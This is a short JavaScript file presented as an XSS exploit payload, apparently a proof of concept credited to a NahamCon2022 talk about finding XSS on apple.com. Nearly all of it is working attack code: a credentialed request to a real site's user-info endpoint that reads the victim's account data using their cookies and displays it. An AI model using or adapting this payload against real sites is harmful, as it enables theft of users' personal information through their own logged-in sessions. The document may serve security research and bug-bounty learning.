XSS Exploit payload

payload.js

// The code executed on vulnerable domain, to make request which have sensitive information.

function resp(){
    alert(this.responseText);
}

var xhttp = new XMLHttpRequest();
xhttp.addEventListener("load",resp);
xhttp.open("GET","https://apple.com/user/info"); 
xhttp.withCredentials = true; // this will add cookie to request
xhttp.send();


/* Thanks https://youtu.be/fcAklNSta-U?t=1031  
#NahamCon2022 - @zseano Finding XSS on .apple.com and building a proof of concept to leak your PII
*/